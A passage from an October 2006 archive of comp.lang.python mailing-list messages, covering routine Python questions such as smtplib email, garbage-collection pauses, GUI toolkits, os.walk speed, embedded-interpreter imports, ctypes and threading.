Software". > I certainly don't understand the EULA, and thus I cannot make sure that > I lawyer understands it either. But I can certainly find a lawyer that > charges $$$$ an hour and pretends to understand it. I am sure buying a > copy of VC7 is a lot cheaper. So what do you hope to get from the newsgroup article? Free legal advice? You can't really get that; you can only get opinions. You still have to draw your own conclusions. Regards, Martin From jcoleman at franciscan.edu Mon Oct 30 10:59:51 2006 From: jcoleman at franciscan.edu (John Coleman) Date: 30 Oct 2006 07:59:51 -0800 Subject: Observation on "Core Python Programming" In-Reply-To: References: <1162135496.144591.304640@b28g2000cwb.googlegroups.com> Message-ID: <1162223991.134767.33560@m73g2000cwd.googlegroups.com> John Salerno wrote: > John Coleman wrote: > > Greetings, > > My copy of the second edition of Chun's "Core Python Programming" > > just arrived from Amazon on Friday. > > Who would you say the book is aimed at? Advanced programmers? I thought > about getting it, but I'm not sure if it will be either 1) too much > repetition of the basics I've already learned (which isn't necessarily a > bad thing), or 2) too advanced for me right now. > > Thanks. It strikes me as being aimed at intermediate programmers who don't have much familiarity with Python. I bought it since my only other book on Python ("Learning Python" by Lutz) is somewhat dated now and because I find that I'm a slow learner and it usually takes me a couple of books by independent authors to "get" a language. The publisher's page is more informative than what you see on Amazon. You can see the table of contents and read a sample chapter there to help you decide if the book is for you: http://vig.prenhall.com/catalog/academic/product/1,4096,0130260363,00.html HTH -John Coleman From paul at boddie.org.uk Fri Oct 13 18:36:25 2006 From: paul at boddie.org.uk (Paul Boddie) Date: 13 Oct 2006 15:36:25 -0700 Subject: wing ide vs. komodo? References: <2nRXg.108$1n3.2866@news.tufts.edu> <18SXg.27347$Go3.9933@dukeread05> Message-ID: <1160778985.576091.39700@e3g2000cwe.googlegroups.com> hg wrote: > > Eric3 is very nice and moving forward ... I believe it is based on the > QT library which free ... yet not so free under windows (i have yet to > understand the business model). There are snapshots of Eric4 available, apparently. See here for more: http://www.riverbankcomputing.co.uk/ http://www.die-offenbachs.de/detlev/eric4.html [...] > PS: I also was taken aback by the fact that the PyDev license was > "per-year" ... it's like buying Word for a year only ... isn't it ? Flashbacks to the age of shareware seem to be commonplace in the realm of Eclipse, or that's how the scene seems to me. Paul From bignose+hates-spam at benfinney.id.au Sun Oct 8 00:08:56 2006 From: bignose+hates-spam at benfinney.id.au (Ben Finney) Date: Sun, 08 Oct 2006 14:08:56 +1000 Subject: Python to use a non open source bug tracker? References: <22pUg.132825$zy5.1820633@twister1.libero.it> <45254B18.2090806@v.loewis.de> <0BQVg.138807$zy5.1859480@twister1.libero.it> <2vXVg.139282$_J1.908700@twister2.libero.it> <1160279378.414897.263600@i42g2000cwa.googlegroups.com> Message-ID: <87u02fbg9z.fsf@benfinney.id.au> "Ilias Lazaridis" writes: > As for Mr. Holden... it's not a matter of not respecting you. > It is in his nature to babble in this way. > Sometimes it's even funny! Oh my. You have *seriously* misjudged this group if you think that comment will give you any net gain in discussions here. -- \ "I think there is a world market for maybe five computers." -- | `\ Thomas Watson, chairman of IBM, 1943 | _o__) | Ben Finney From deets at nospam.web.de Fri Oct 13 05:24:17 2006 From: deets at nospam.web.de (Diez B. Roggisch) Date: Fri, 13 Oct 2006 11:24:17 +0200 Subject: SOAPpy and callback In-Reply-To: <1160690157.961643.248720@m73g2000cwd.googlegroups.com> References: <1160690157.961643.248720@m73g2000cwd.googlegroups.com> Message-ID: <4p94a0Fhr1amU1@uni-berlin.de> fabien.benard at gmail.com schrieb: > Hello, > > I'm trying to find how to use a callback in a SOAP client using SOAPpy. > Does SOAPpy have to manage it, or does Python include some API to do > it? I've never seen any callback mentioned in SOAP. Are you sure this is possible with any SOAP implementation, at least standard-wise? Diez From blue99 at interia.pl Mon Oct 16 02:51:57 2006 From: blue99 at interia.pl (Rob Wolfe) Date: 15 Oct 2006 23:51:57 -0700 Subject: How to send E-mail without an external SMTP server ? In-Reply-To: References: Message-ID: <1160981517.845397.173540@h48g2000cwc.googlegroups.com> fdu.xiaojf at gmail.com wrote: > Hi, > > I just want to send a very simple email from within python. > > I think the standard module of smtpd in python can do this, but I > haven't found documents about how to use it after googleing. Are there > any examples of using smtpd ? I'm not an expert,so I need some examples > to learn how to use it. See standard documentation: http://docs.python.org/lib/SMTP-example.html HTH, Rob From fredrik at pythonware.com Wed Oct 11 01:33:01 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Wed, 11 Oct 2006 07:33:01 +0200 Subject: Difference between unindexable and unsubscriptable In-Reply-To: References: Message-ID: Jackson wrote: > What is the difference between "object is unindexable" and "object is > unsubscriptable"? > > I would like to test if an object can accept: obj[0] > > >>> from sets import Set > >>> Set([1,2])[0] > TypeError: unindexable object > > >>> 3[0] > TypeError: unsubscriptable object > > It seems like each of these errors can be replaced with a single type error. the message string is not part of the error type, and may change between versions. just catch the TypeError and be done with it. From chris.cavalaria at free.fr Wed Oct 25 03:48:55 2006 From: chris.cavalaria at free.fr (Christophe) Date: Wed, 25 Oct 2006 09:48:55 +0200 Subject: python GUIs comparison (want) In-Reply-To: References: <1161666459.401958.267280@i42g2000cwa.googlegroups.com> <453E3370.9060008@kevin-walzer.com> Message-ID: <453f16e5$0$28552$426a74cc@news.free.fr> Fredrik Lundh a ?crit : > David Boddie wrote: > >>> commercial deployment is expensive; free deployment must be GPL; >> >> Opinions differ on the first one of these. > > even if you define "expensive" as "costs more money than the others" ? Even if you consider that the huge time saving you get out of using Qt is worth more than what you pay to acquire a licence? That's the idea anyway. From tim.peters at gmail.com Sun Oct 1 16:28:57 2006 From: tim.peters at gmail.com (Tim Peters) Date: Sun, 1 Oct 2006 16:28:57 -0400 Subject: Is this a bug? Python intermittently stops dead for seconds In-Reply-To: <32108776.1159713187905.JavaMail.root@elwamui-chisos.atl.sa.earthlink.net> References: <32108776.1159713187905.JavaMail.root@elwamui-chisos.atl.sa.earthlink.net> Message-ID: <1f7befae0610011328i410bbd40s48d44b734d6ddb3e@mail.gmail.com> [charlie strauss] > I want to clarify that, on my computer, the first instance of the gap occurs way > before the memory if filled. (at about 20% of physical ram). Additionally the > process monitor shows no page faults. Python has no idea of how much RAM you have, or even of how much RAM it's using. See the `gc` module docs, function set_threshold(), for a description of when Python decides to run a cyclic gc pass. That's all about the current excess (if any) of the number of container allocations over the number of container deallocations since the last time cyclic gc ran. > ... > (note that the array if filled as [1]*10, so there is actually only one "integer", > but 10 array elements refering to it, per foo class.) Nevertheless cyclic gc has to examine all 10 array elements each time the list is scanned. > ... > For example when I write > > me.memory = [1]*nfoo > > perhaps internally, python is allocating an array of size foo and then __copying__ it > into me.memory??? No. Assignments in Python never copy anything. > Since there is no reference to the intermediate it would then marked for future > garbage collection. Nothing in Python is "marked for future garbage collection". From time to time /all/ container objects are scanned to determine whether any have become cyclic trash. This takes time proportional to the total number of containees across all container objects. ... > foo was an election ballot holding 10 outcomes, and bar was a set of 100 ballots > from 100 voting machines, and the total array was holding the ballot sets from a few > thousand voting machines. > > Almost any inventory program is likely to have such a simmilar set of nested array, > so it hardly seems unusual. For memory-consumption reasons alone, a serious such program is likely to use array.array objects at leaf level instead. array.array objects hold raw bits, not Python objects. Since they don't hold Python objects, they can't possibly be part of a cycle, so cyclic gc doesn't need to scan array.array contents either. From duncan.booth at invalid.invalid Fri Oct 13 04:29:45 2006 From: duncan.booth at invalid.invalid (Duncan Booth) Date: 13 Oct 2006 08:29:45 GMT Subject: Using SVN with Python and .pyc files References: Message-ID: James Stroud wrote: > I have been moving to managing a lot of my code with SVN and I have > found it to work extremely well. However, I'm not exactly sure how to > deal with all of the .pyc files that get created every time I test a > project or package. How do people manage this? Do you run a script to > find files with the .pyc extension and delete those before every commit, > or is there a more elegant way? It seems like a lot of wasted bandwidth > an memory on the server side to constantly be dealing with these files > that contain no real information. You use svn:ignore to ignore files you don't want version controlled. See: http://svnbook.red-bean.com/nightly/en/svn.advanced.props.html#svn.advanced.props.special.ignore From sturlamolden at yahoo.no Sat Oct 21 12:13:07 2006 From: sturlamolden at yahoo.no (sturlamolden) Date: 21 Oct 2006 09:13:07 -0700 Subject: Tkinter--does anyone use it for sophisticated GUI development? In-Reply-To: <1161443842.206948.145300@i42g2000cwa.googlegroups.com> References: <7cd5f$4537d1ef$4275d90a$20512@FUSE.NET> <4538dd3b$0$24774$426a74cc@news.free.fr> <1161440644.300080.198790@b28g2000cwb.googlegroups.com> <453A3440.8090801@kevin-walzer.com> <1161443842.206948.145300@i42g2000cwa.googlegroups.com> Message-ID: <1161447186.938144.35810@f16g2000cwb.googlegroups.com> Wektor wrote: > wx has also graphical editors like Glade (there is a wxGlade project) > giving a xml description of a window and its cross platform. If you are thinking about XRC, then beware that this XML don't solve any problems, it just creates another. XRC and libglade do not compare. libglade makes the GUI development easy and the program code clean and easy to read. XRC makes the GUI development difficult and the program code convoluted and difficult to read. Also wxGlade is not GLADE. In particular, wxGlade is unstable and tend to crash or do stupid things. But if your oalternative is to hand-code the wxPython GUI, then wxGLADE is nevertheless the better option. > On the other hand its a pity that there isnt much choice in cross > platform (win mac lin) GUI platforms until now i was a great fan of GTK > but there isnt a proper port for Mac. GTK is being ported to Aqua, but the port it is in its early stages. > Its also a pity that no one didnt do something based on OpenGL with > python (or maybe im wrong) it could be cool and really cross-platform. You are wrong. There are PyOpenGL and there is cross-platform GUI and game development platforms that use it (PyGTK, wxPython, PyGame). There are also PyOgre, which are more pythonic than using OpenGL directly. From boggom at comcast.net Thu Oct 5 18:16:19 2006 From: boggom at comcast.net (boggom at comcast.net) Date: 5 Oct 2006 15:16:19 -0700 Subject: Graph Theory In-Reply-To: <1160079922.925712.55850@i42g2000cwa.googlegroups.com> References: <1160078200.790616.209000@i42g2000cwa.googlegroups.com> <1160079341.752297.139110@h48g2000cwc.googlegroups.com> <1160079922.925712.55850@i42g2000cwa.googlegroups.com> Message-ID: <1160086579.492499.38120@m7g2000cwm.googlegroups.com> diffuser78 at gmail.com wrote: > Thanks for your quick reply. Since I have not read the documentation, I > was wondering if you can generate random graph and analyze some > peroperties of it like clustering coefficient or graph density. I am a > graph theory student and want to use python for development. Somebody > told me that Python has already so much bultin. Are there any > visualization tool which would depict the random graph generated by the > libraries. networkx has several random graph generators, including: barabasi_albert_graph binomial_graph erdos_renyi_graph gnm_random_graph gnp_random_graph random_regular_graph watts_strogatz_graph and others (e.g. via configuration_model) For drawing you can use pygraphviz (also available at networkx.lanl.gov) or the built-in drawing tools. e.g. >>> from networkx import * >>> no_nodes=1000 >>> for p in [ 0.1, 0.2, 0.3]: >>> g = watts_strogatz_graph(no_nodes, 4, p) >>> print density(g), average_clustering(g) be warned that drawing large random graphs are not overly insightful check the examples From casevh at comcast.net Sun Oct 22 01:23:14 2006 From: casevh at comcast.net (casevh at comcast.net) Date: 21 Oct 2006 22:23:14 -0700 Subject: Fwd: Re: How to upgrade python from 2.4.3 to 2.4.4 ? In-Reply-To: References: <1161491991.010112.65630@k70g2000cwa.googlegroups.com> Message-ID: <1161494594.813763.155400@m73g2000cwd.googlegroups.com> > > The link for pexports-0.42h.zip is broken so I cant > test it on an extension. > pexports is only needed for Python 2.3. It is not required for 2.4 or 2.5. casevh From deets at nospam.web.de Mon Oct 9 09:31:56 2006 From: deets at nospam.web.de (Diez B. Roggisch) Date: Mon, 09 Oct 2006 15:31:56 +0200 Subject: Dive Into Java? References: <1160346615.575882.133580@h48g2000cwc.googlegroups.com> <4out4fFgdgouU1@individual.net> Message-ID: <4ov1acFgfmpmU1@uni-berlin.de> Bjoern Schliessmann wrote: > erikcw wrote: > >> DiveIntoPython.org was the first book I read on python, and I >> really >> got a lot out of it. I need to start learning Java (to maintain a >> project I've inherited), and was wondering if anyone knew of any >> similar books for Java? > > Perhaps a bit of a rant, but learn Python and C++, take the worst of > both, make it a language and you have Java ... ;) While I do not love java, this is one of the dumbest statements for a while in this NG - even though it is not meant to be too serious. C++ has a lot of wicked, complicated features like overloadable assignment statements and so on, misses GC, and is in general semantically very overloaded. All that make programming it a real PITA, as you permanently are at risk loosing your feet through self-inflicted gun-shot-wounds. While Java is a language that makes it difficult to produce nice or beautiful code, it certainly is a language that hinders you to shoot in your own foot really badly. Diez From fredrik at pythonware.com Fri Oct 13 12:05:56 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Fri, 13 Oct 2006 18:05:56 +0200 Subject: Big speed boost in os.walk in Python 2.5 In-Reply-To: <1160731646.651573.37150@i42g2000cwa.googlegroups.com> References: <1160731646.651573.37150@i42g2000cwa.googlegroups.com> Message-ID: looping wrote: > Results on Windows XP after some run to fill the disk cache (with > ~59000 files and ~3500 folders): > Python 2.4.3 : 45s > Python 2.5 : 10s > > Very nice, but somewhat strange... > Is Python 2.4.3 os.walk buggy ??? No. A few "os" function are now implemented in terms of Windows API:s, instead of using Microsoft C's POSIX compatibility layer. This includes os.stat(), which is what isdir() uses to check if something is a directory. The code was rewritten to work around problems with timestamps, so the speedup is purely a side effect. > Is this results only valid in Windows or *nix system show the same > difference ? On Unix system, Python uses POSIX API:s, not Windows API:s. > The profiler show that most of time is spend in ntpath.isdir and this > function is *a lot* faster in Python 2.5. Why are you asking if something's buggy when you've already figured out what's been improved? > Maybe this improvement could be backported in Python 2.4 branch for the > next release ? It's not really broken, so that's not very likely. From irmen.NOSPAM at xs4all.nl Mon Oct 2 17:44:26 2006 From: irmen.NOSPAM at xs4all.nl (Irmen de Jong) Date: Mon, 02 Oct 2006 23:44:26 +0200 Subject: php and python: how to unpickle using PHP? In-Reply-To: References: Message-ID: <45218840$0$4528$e4fe514c@news.xs4all.nl> Ted Zeng wrote: > Hi, > > I store some test results into a database after I use python > To pickle them (say, misfiles=['file1','file2']) > > Now I want to display the result on a web page which uses PHP. > How could the web page unpickle the results and display them? > Is there a PHP routine that can do unpickle ? > > Ted zeng > Pickle is Python specific. You may be able to write something that can unpickle the basic datatypes but I wouldn't bother with it. Try to find a language neutral marshaling format (yaml? xml? whatever) and access that from both Python and PHP... --Irmen From michael at stroeder.com Thu Oct 5 19:42:20 2006 From: michael at stroeder.com (=?ISO-8859-1?Q?Michael_Str=F6der?=) Date: Fri, 06 Oct 2006 01:42:20 +0200 Subject: Python to use a non open source bug tracker? In-Reply-To: <1160075219.326684.170770@k70g2000cwa.googlegroups.com> References: <22pUg.132825$zy5.1820633@twister1.libero.it> <1160004324.651743.280590@b28g2000cwb.googlegroups.com> <1160075219.326684.170770@k70g2000cwa.googlegroups.com> Message-ID: Ilias Lazaridis wrote: > > You need just 2 active contributors - and the python community, not > more Hmm, this number does not say much. It really depends on the required service level and how much time these two people can spend for maintaining the tracker service. Ciao, Michael. From horpner at yahoo.com Tue Oct 24 13:05:13 2006 From: horpner at yahoo.com (Neil Cerutti) Date: 24 Oct 2006 19:05:13 +0200 Subject: Current stackdepth outside PyEval_EvalFrameEx References: <200610230220.47741.fabianosidler@gmail.com> Message-ID: On 2006-10-24, Fabiano Sidler wrote: > On Monday 23 October 2006 02:20, I wrote: >> I'm trying to implement a python function that returns the >> current stack depth of its frame. Unfortunately, I don't see >> any possibility to get this value outside of >> PyEval_EvalFrameEx. Inside of it, I'd use the STACK_LEVEL >> macro. How do I do it? > > No hints? Perhaps the inspect module will help? See 3.11.4 The Interpreter Stack. -- Neil Cerutti I make love to pressure. --Stephen Jackson From Matthew.Warren at Digica.com Thu Oct 5 07:13:18 2006 From: Matthew.Warren at Digica.com (Matthew Warren) Date: Thu, 5 Oct 2006 12:13:18 +0100 Subject: Why do this? In-Reply-To: Message-ID: > > | Now, I started programming when I was 8 with BBC Basic. > > Hey, likewise! (Except I was 12 when it came out!) I think it came out before I was 8, and I started out with print and input. Not sure if that's 'real' programming - I don't think I graduated to ifs and thens and gotos and gosubs for a while.. Uhm, Or was it 'def proc' et al for BBC Basic? Brain holes leaking old stuff out :) > | Print "There are "+number+" ways to skin a "+furryanimal > > perfectly sound Python code, as far as it goes, altho' obviously > "Print" is spelt "print" in Python, and if that number is in fact > a number it'll need to be str ()-ed first. Blame outlook and AutoCaps. If number were a number I would write print "There are",number,"ways to skin a "+furryanimal ..something I like about python, 'cause having been pathalogically avoiding %'s etc.. I have learned to hate going "string "+str(number)+" string" > > | But nowadays, I see things like this all over the place; > | > | print("There are %s ways to skin a %s" % (number, furryanimal)) > > The outermost brackets are (at the moment) unnecessary in python, Oops :) > altho' print is slated for replacement by a function in Python 3.0 > at which point they'll be necessary. ? Why do that, point me at a PEP if required and I'll read it :) > > number = 3 > animal = "cat" > print "There are %d ways to skin a %s" % (number, animal) > > | Now I understand there can be additional formatting benefits when > | dealing with numbers, decimal places etc.. But to me, for > strings, the > | second case is much harder to read than the first. > > I think what it comes down to is just what's most readable in the > situation in which you're using it. Imagine a rather longer > string, and one where and are not short names, > but calls to some function. Sometimes, since %s will call __str__ > on anything it's passed, it's a quick way to get a string > representation > of a more complex object, which you'd otherwise have to str () at > least. > > Also, for me, substitution often reads more naturally because you're > not breaking the string up with lots of " + xxxx + "..." + > yyy + "... > stuff. Again, though, depends on what your code looks like, and how > readable you find it. Certainly, I wouldn't advocate *pathologically* > avoiding the "%s" % blah style, but it needn't always be the right > thing. > I am a big fan of easily human readable meaningful names for things, to the extent that I will quite readily use var or function names ThatCanBeQuiteLongAndExplanatory() For me, it helps retain the readbility say, when breaking up a string with lots of + xxx + "etc.. Etc.." + lalala >It may be easier > to use the > dictionary form of the substitution then, eg: > > print """ > Long string with %(valueA)s and %(valueB)s and %(valueC)s embedded in > it at some distance from the end... > ... > """ % dict (valueA=1, valueB="blah", valueC=datetime.datetime.now ()) > > Obviously that dict would likely be defined elsewhere, or could even > be locals (). Once you get to this stage, though, you might want to > start looking at templating toolkits like Cheetah, Genshi or any of > the many others knocking around. > That's something I wasn't aware of, and I think I'll try if I find myself going "something"+dict['thingummy']+" red ones and "+dict['colour']+" ones" The dict substitution does feel a bit easier to read compared to the concatenation, because of the dict[' '] noise. Matt. This email is confidential and may be privileged. If you are not the intended recipient please notify the sender immediately and delete the email from your computer. You should not copy the email, use it for any purpose or disclose its contents to any other person. Please note that any views or opinions presented in this email may be personal to the author and do not necessarily represent the views or opinions of Digica. It is the responsibility of the recipient to check this email for the presence of viruses. Digica accepts no liability for any damage caused by any virus transmitted by this email. UK: Phoenix House, Colliers Way, Nottingham, NG8 6AT UK Reception Tel: + 44 (0) 115 977 1177 Support Centre: 0845 607 7070 Fax: + 44 (0) 115 977 7000 http://www.digica.com SOUTH AFRICA: Building 3, Parc du Cap, Mispel Road, Bellville, 7535, South Africa Tel: + 27 (0) 21 957 4900 Fax: + 27 (0) 21 948 3135 http://www.digica.com From jefishman at gmail.com Thu Oct 26 12:22:23 2006 From: jefishman at gmail.com (jefishman at gmail.com) Date: 26 Oct 2006 09:22:23 -0700 Subject: Embedded python loading .so files? In-Reply-To: <45404532.8000805@v.loewis.de> References: <1161836879.975380.196610@m73g2000cwd.googlegroups.com> <45404532.8000805@v.loewis.de> Message-ID: <1161879743.635263.168800@i3g2000cwc.googlegroups.com> > You really need to do some debugging here. There must be more error > message than that, or there are some issues with libdl on the target > system. A common problem is that it gives an error message that > some symbols could not be found when loading the shared library, > and that these symbols originate from Python run-time. In this > case, the reason is that the executable does not export the Python > symbols; you need to pass -export-dynamic to the linker of the > container application. > > This is all guessing, of course: you didn't even say whether > the target system is Unixish-ELF-based. > > Regards, > Martin Sorry, I never really know how much information in enough, and when it's just complicating the issue. That obviously wasn't, and didn't even get to the root of the problem: The target system is mipsel-linux, specifically Sony's OPEN-R platform running on a Sony ERS-7 Aibo robotic dog. I have recompiled passing -export-dynamic, but I realized this is not the issue. Here is the output of the import attempt from within the module imported by PyImport_ImportModule(const char *name): import numpy # directory /MS/PyLib/numpy # trying /MS/PyLib/numpy/__init__.py # /MS/PyLib/numpy/__init__.pyc matches /MS/PyLib/numpy/__init__.py import numpy # precompiled from /MS/PyLib/numpy/__init__.pyc # trying /MS/PyLib/numpy/__config.py # /MS/PyLib/numpy/__config.pyc matches /MS/PyLib/numpy/__config.py import numpy.__config__ # precompiled from /MS/PyLib/numpy/__config.pyc # trying /MS/PyLib/numpy/version.py # /MS/PyLib/numpy/version.pyc matches /MS/PyLib/numpy/version.py import numpy.version # precompiled from /MS/PyLib/numpy/version.pyc # trying /MS/PyLib/numpy/_import_.py # /MS/PyLib/numpy/_import_.pyc matches /MS/PyLib/numpy/_import_.py import numpy._import_tools # precompiled from /MS/PyLib/numpy/_import_.pyc # trying /MS/PyLib/numpy/os.py # trying /MS/PyLib/numpy/os.pyc # trying /MS/PyLib/numpy/sys.py # trying /MS/PyLib/numpy/sys.pyc # trying /MS/PyLib/numpy/imp.py # trying /MS/PyLib/numpy/imp.pyc import imp # builtin # trying /MS/PyLib/numpy/glob.py # trying /MS/PyLib/numpy/glob.pyc # trying /MS/PyLib/glob.py # /MS/PyLib/glob.pyc matches /MS/PyLib/glob.py import glob # precompiled from /MS/PyLib/glob.pyc # trying /MS/PyLib/fnmatch.py # /MS/PyLib/fnmatch.pyc matches /MS/PyLib/fnmatch.py import fnmatch # precompiled from /MS/PyLib/fnmatch.pyc # trying /MS/PyLib/re.py # /MS/PyLib/re.pyc matches /MS/PyLib/re.py import re # precompiled from /MS/PyLib/re.pyc # trying /MS/PyLib/sre.py # /MS/PyLib/sre.pyc matches /MS/PyLib/sre.py import sre # precompiled from /MS/PyLib/sre.pyc # trying /MS/PyLib/sre_comp.py # /MS/PyLib/sre_comp.pyc matches /MS/PyLib/sre_comp.py import sre_compile # precompiled from /MS/PyLib/sre_comp.pyc import _sre # builtin # trying /MS/PyLib/sre_cons.py # /MS/PyLib/sre_cons.pyc matches /MS/PyLib/sre_cons.py import sre_constants # precompiled from /MS/PyLib/sre_cons.pyc # trying /MS/PyLib/sre_pars.py # /MS/PyLib/sre_pars.pyc matches /MS/PyLib/sre_pars.py import sre_parse # precompiled from /MS/PyLib/sre_pars.pyc # trying /MS/PyLib/string.py # /MS/PyLib/string.pyc matches /MS/PyLib/string.py import string # precompiled from /MS/PyLib/string.pyc import numpy.core # directory /MS/PyLib/numpy/core # trying /MS/PyLib/numpy/core/__init__.py # /MS/PyLib/numpy/core/__init__.pyc matches /MS/PyLib/numpy/core/__init__.py import numpy.core # precompiled from /MS/PyLib/numpy/core/__init__.pyc # trying /MS/PyLib/numpy/core/info.py # /MS/PyLib/numpy/core/info.pyc matches /MS/PyLib/numpy/core/info.py import numpy.core.info # precompiled from /MS/PyLib/numpy/core/info.pyc # trying /MS/PyLib/numpy/core/numpy.py # trying /MS/PyLib/numpy/core/numpy.pyc # trying /MS/PyLib/numpy/core/multiarr.py # trying /MS/PyLib/numpy/core/multiarr.pyc # trying /MS/PyLib/multiarr.py # trying /MS/PyLib/multiarr.pyc # trying /MS/PyCode/multiarr.py # trying /MS/PyCode/multiarr.pyc Error Importing Behaviours Traceback (most recent call last): File "/MS/PyCode/Behaviou.py", line 22, in ? import Brain File "/MS/PyCode/Brain.py", line 21, in ? import Switch File "/MS/PyCode/Switch.py", line 1, in ? import pNone as selectedPlayer File "/MS/PyCode/pNone.py", line 2, in ? import numpy.oldnumeric File "/MS/PyLib/numpy/__init__.py", line 34, in ? import core File "/MS/PyLib/numpy/core/__init__.py", line 5, in ? import multiarray ImportError: No module named multiarray I saw that the import did not look for .so files. I verified this by checking imp.get_suffixes(): import imp # builtin [('.py', 'U', 1), ('.pyc', 'rb', 2)] #<-- result of `print imp.get_suffixes()` I realize that this should include a ('.so','rb',3) entry (should it not? 3->imp.C_EXTENSION) if it were going to locate the c extension. Thus, my revised question would be what sets the suffixes for import? How do/Can I change this? The interpreter is linked in from a library compiled from edited Python 2.3 source so that it will run on the OPEN-R system (strips things like time, socket, etc., which are not supported). Thanks again, Jeremy From skip at pobox.com Sun Oct 15 17:45:44 2006 From: skip at pobox.com (skip at pobox.com) Date: Sun, 15 Oct 2006 16:45:44 -0500 Subject: IDE that uses an external editor? In-Reply-To: <624934630610151434t5bb8b9f8l6572f26a69c08b54@mail.gmail.com> References: <20061014121444.C3D0.SLAWOMIR.NOWACZYK.847@student.lu.se> <17713.9709.575464.630058@montanaro.dyndns.org> <20061014212050.C3F7.SLAWOMIR.NOWACZYK.847@student.lu.se> <624934630610151434t5bb8b9f8l6572f26a69c08b54@mail.gmail.com> Message-ID: <17714.44040.681305.994786@montanaro.dyndns.org> >> #> I realize I can do a lot within Emacs/XEmacs, but I suspect with a >> #> tool like Eclipse I could do more. However, I don't want to give >> #> up the text editing power of Emacs to get it. ... Ramon> I've tried using Eclipse several times, because several good Ramon> meaning people told me things like "you coud do more". My observation about Eclipse comes simply from watching one of the other developers at work use it. I'd like to give it a try, but not at the expense of giving up Emacs. Skip From chrispatton at gmail.com Sun Oct 15 00:13:06 2006 From: chrispatton at gmail.com (Chris) Date: 14 Oct 2006 21:13:06 -0700 Subject: problem with the 'math' module in 2.5? In-Reply-To: References: <1160883192.973842.240290@m7g2000cwm.googlegroups.com> Message-ID: <1160885586.921786.87810@i42g2000cwa.googlegroups.com> sin(pi*0.5) is what I expected, but I expected to get 0 for sin(pi). Max Erickson wrote: > "Chris" wrote: > > >>>> from math import * > >>>> sin(0) > > 0.0 > >>>> sin(pi) > > 1.2246063538223773e-016 > >>>> sin(2*pi) > > -2.4492127076447545e-016 > >>>> cos(0) > > 1.0 > >>>> cos(pi) > > -1.0 > >>>> cos(2*pi) > > 1.0 > > > > The cosine function works fine, but I'm getting weird answers for > > sine. Is this a bug? Am I doing something wrong? > > > > >From help(math) in an interactive window: > > > DESCRIPTION > This module is always available. It provides access to the > mathematical functions defined by the C standard. > > So what you are seeing is the behavior of the C library being exposed. > > > Try sin(pi*0.5) to see similar behavior to cos(pi) or cos(pi*2). From martin at v.loewis.de Wed Oct 4 16:31:48 2006 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Wed, 04 Oct 2006 22:31:48 +0200 Subject: Python to use a non open source bug tracker? In-Reply-To: <1159975325.127309.290210@i3g2000cwc.googlegroups.com> References: <22pUg.132825$zy5.1820633@twister1.libero.it> <87ac4ciynk.fsf@benfinney.id.au> <1hmozq6.kow3g61xdpiqyN%dialUAZ###UZ#$AAtone@gWARAmail.com> <1159975325.127309.290210@i3g2000cwc.googlegroups.com> Message-ID: <45241A34.2060305@v.loewis.de> Paul Boddie schrieb: > Out of interest, here are some figures: > > KDE: 12983 bugs and 11656 wishes > GNOME: 23624 reports > Python: 7159 bugs, 3843 patches, 477 feature requests > > The Python figures are totals, whereas I can't be sure whether the KDE > and GNOME figures merely refer to the open issues. Nevertheless, Python > isn't going to be pushing the envelope. Right: machine power isn't really an issue (although the snappiness of response does contribute to usability: the various installations showed noticable differences in response time). The issue of scalability is really how a large number of reports can be managed. How can a submitter easily find out whether a report for some issue already exists, and how can a maintainer easily find out what needs most attention (where each developer might apply her own priority system)? For a small number of issues, you can scan through a list. If the list contains more than 20 entries, scanning through it becomes tedious. Regards, Martin From p.lavarre at ieee.org Wed Oct 25 18:54:51 2006 From: p.lavarre at ieee.org (p.lavarre at ieee.org) Date: 25 Oct 2006 15:54:51 -0700 Subject: FAQ - How do I declare that a CTypes function returns void? Message-ID: <1161816891.436332.214210@f16g2000cwb.googlegroups.com> Now at http://pyfaq.infogami.com/suggest we have: FAQ: How do I declare that CTypes function returns void? A: c_void = None is not doc'ed, but is suggested by: >>> ctypes.POINTER(None) >>> Remembering c_void = c_int from K&R C often works, but if you say a restype is c_int, then doctest's of that call will print an int, yuck. If you say the restype is None, then those doctest's work: they print nothing. Hope this helps, From jdlists at gmail.com Wed Oct 18 21:02:26 2006 From: jdlists at gmail.com (jdlists at gmail.com) Date: 18 Oct 2006 18:02:26 -0700 Subject: Converting existing module/objects to threads Message-ID: <1161219746.574285.188930@m7g2000cwm.googlegroups.com> I have inheirted some existing code, that i will explain in a moment, have needed to extend and ultimately should be able to run in threads. I've done a bunch of work with python but very little with threads and am looking for some pointers on how to implement, and if the lower level modules/objects need to be rewritten to use threading.local for all local variables. I have a module that communicates with a hardware device, which reads data off of sensors, that can only talk with one controller at a time. The controller (my module) needs to (in its simplest form) init, configure the device, request data, and write out xml, sleep, repeat. The new request is that the device needs to be queried until a condition is true, and then start requesting data. So an instance of a controller needs to be deadicated to a hardware device forever, or until the program ends....which ever comes first. This currently works in a non-threaded version, but only for one device at a time, there is a need to create a single windows(yeach) service that talks to many of these devices at once. I don't need worker threads that handle seperate portions of the entire job, i need a single application to spawn multiple processes to run through the entire communication from configure to report, sleep until the next interval time and run again. The communication could last from 1 minute to 10 minutes before it ends. Here is the code layout in pseudocode. module.Object - controller.Main - handles all socket communications class subcontroller(controller.Main): def __init__(self,id,configurationFile): controller.Main.__init__(self) // instantiate variables and local objects that handle configuration, logic and data output def configure(self,configurationFile): //read configurationFile and configure device def process(self): while 1: //based on configuration file, query the device until condition is true and then write xml, sleep until time to repeat and run again. within controller there are 5 objects and subcontroller is a sinlge object that loads other objects from the inherited controller.System I'm trying to figure out how difficult it is going to be to convert this to a threaded application. The original controller.Main is built to talk to devices in series, never in parallel. so no objects are considered to be thread safe, but no instance of any of the objects should need to share resources with any other instance of teh same object. they would all have unique configuration files and talk to devices on unique ip/ports. on a unix system, forking,while potentially not optimal, would be a fine solution, unfortunantely this needs to run on windows. I know i have left out many details, but hopefully this is enough to at least enable some kind soles to lend an opinnion or two. many thanks jd From russ.phillips.nospam at googlemail.com Sat Oct 28 05:33:46 2006 From: russ.phillips.nospam at googlemail.com (russ.phillips.nospam at googlemail.com) Date: 28 Oct 2006 02:33:46 -0700 Subject: gettext on Windows In-Reply-To: <454322BC.8020002@v.loewis.de> References: <1162022669.684710.182530@m7g2000cwm.googlegroups.com> <1162023784.123822.266270@m73g2000cwd.googlegroups.com> <454322BC.8020002@v.loewis.de> Message-ID: 